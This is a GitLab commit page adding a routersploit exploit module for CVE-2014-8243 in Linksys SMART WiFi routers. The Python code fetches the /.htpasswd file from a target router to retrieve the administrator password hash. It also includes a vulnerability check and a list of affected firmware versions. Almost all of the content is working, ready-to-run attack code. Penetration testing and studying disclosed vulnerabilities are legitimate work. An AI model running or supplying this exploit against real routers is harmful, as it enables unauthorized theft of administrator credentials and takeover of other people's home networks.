Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
d43200b6
Commit
d43200b6
authored
Nov 27, 2016
by
Laurent Meirlaen
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Linksys SmartWiFi htpasswd disclosure
parent
2e4e959d
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
61 additions
and
0 deletions
+61
-0
smartwifi_password_disclosure.py
...modules/exploits/linksys/smartwifi_password_disclosure.py
+61
-0
No files found.
routersploit/modules/exploits/linksys/smartwifi_password_disclosure.py
0 → 100644
View file @
d43200b6
from
routersploit
import
(
exploits
,
mute
,
validators
,
http_request
,
print_info
,
print_success
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit Linksys SMART WiFi firmware
If the target is vulnerable it allows remote attackers to obtain the administrator's MD5 password hash
"""
__info__
=
{
'name'
:
''
,
'authors'
:
[
'Sijmen Ruwhof'
,
# vulnerability discovery
'0BuRner'
,
# routersploit module
],
'description'
:
''
,
'references'
:
[
'https://www.kb.cert.org/vuls/id/447516'
,
'http://sijmen.ruwhof.net/weblog/268-password-hash-disclosure-in-linksys-smart-wifi-routers'
,
'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8243'
,
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8243'
,
],
'devices'
:
[
'Linksys EA2700 < Ver.1.1.40 (Build 162751)'
,
'Linksys EA3500 < Ver.1.1.40 (Build 162464)'
,
'Linksys E4200v2 < Ver.2.1.41 (Build 162351)'
,
'Linksys EA4500 < Ver.2.1.41 (Build 162351)'
,
'Linksys EA6200 < Ver.1.1.41 (Build 162599)'
,
'Linksys EA6300 < Ver.1.1.40 (Build 160989)'
,
'Linksys EA6400 < Ver.1.1.40 (Build 160989)'
,
'Linksys EA6500 < Ver.1.1.40 (Build 160989)'
,
'Linksys EA6700 < Ver.1.1.40 (Build 160989)'
,
'Linksys EA6900 < Ver.1.1.42 (Build 161129)'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
url
=
"{}:{}/.htpasswd"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
print_info
(
"Unix crypt hash: $id$salt$hashed"
)
# See more at http://man7.org/linux/man-pages/man3/crypt.3.html
print_success
(
"Hash found:"
,
response
.
text
)
@mute
def
check
(
self
):
url
=
"{}:{}/.htpasswd"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"HEAD"
,
url
=
url
)
if
response
is
not
None
and
response
.
status_code
==
200
:
return
True
return
False
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment